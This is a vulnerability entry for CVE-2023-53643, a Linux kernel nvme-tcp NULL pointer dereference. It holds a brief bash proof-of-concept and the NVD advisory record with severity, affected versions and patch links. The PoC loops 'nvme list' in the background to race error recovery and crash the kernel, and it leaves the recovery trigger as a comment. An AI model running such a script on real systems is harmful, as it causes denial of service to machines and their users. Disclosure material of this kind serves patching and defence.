CVE-2023-53643

# CVE-2023-53643 PoC - Trigger NULL pointer dereference in nvme-tcp # This PoC demonstrates how to trigger the vulnerability by causing # an error recovery scenario while simultaneously accessing the nvme-tcp socket #!/bin/bash # PoC for CVE-2023-53643: nvme-tcp NULL pointer dereference # Step 1: Ensure nvme-cli is installed # apt install nvme-cli (Debian/Ubuntu) # yum install nvme-cli (RHEL/CentOS) # Step 2: Discover available NVMe over TCP targets # nvme discover -t tcp -a <target_ip> -s 4420 # Step 3: Connect to the NVMe target # nvme connect -t tcp -n <subsystem_nqn> -a <target_ip> -s 4420 echo "[*] Starting nvme-tcp error recovery trigger..." # Step 4: In a loop, simultaneously trigger error recovery and list command # This simulates the race condition where getsockname() is called # on a released socket during error recovery while true; do # Trigger error recovery by causing connection issues # (e.g., temporarily blocking traffic or disconnecting) # In a real scenario, this could be network interruption # Immediately run nvme list to trigger the race condition nvme list & # Small delay to allow race condition to manifest sleep 0.001 done # Note: This vulnerability requires: # 1. An active nvme-tcp connection # 2. Error recovery in progress (e.g., network interruption) # 3. Concurrent execution of 'nvme list' command # Result: Kernel NULL pointer dereference -> System crash (DoS)

{"cve": {"id": "CVE-2023-53643", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:47.643", "lastModified": "2026-02-03T22:29:42.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: don't access released socket during error recovery\n\nWhile the error recovery work is temporarily failing reconnect attempts,\nrunning the 'nvme list' command causes a kernel NULL pointer dereference\nby calling getsockname() with a released socket.\n\nDuring error recovery work, the nvme tcp socket is released and a new one\ncreated, so it is not safe to access the socket without proper check."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.18", "matchCriteriaId": "E5630603-E179-4468-AD0D-45FD417E6EDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.5", "matchCriteriaId": "0575B33B-A320-4E51-84CA-10C937341E02"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/76d54bf20cdcc1ed7569a89885e09636e9a8d71d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d82f762db4776fa11de88018f0f5de2d5db72a72", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fe2d9e54165dadaa0d0cc3355c0be9c3e129fa0d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}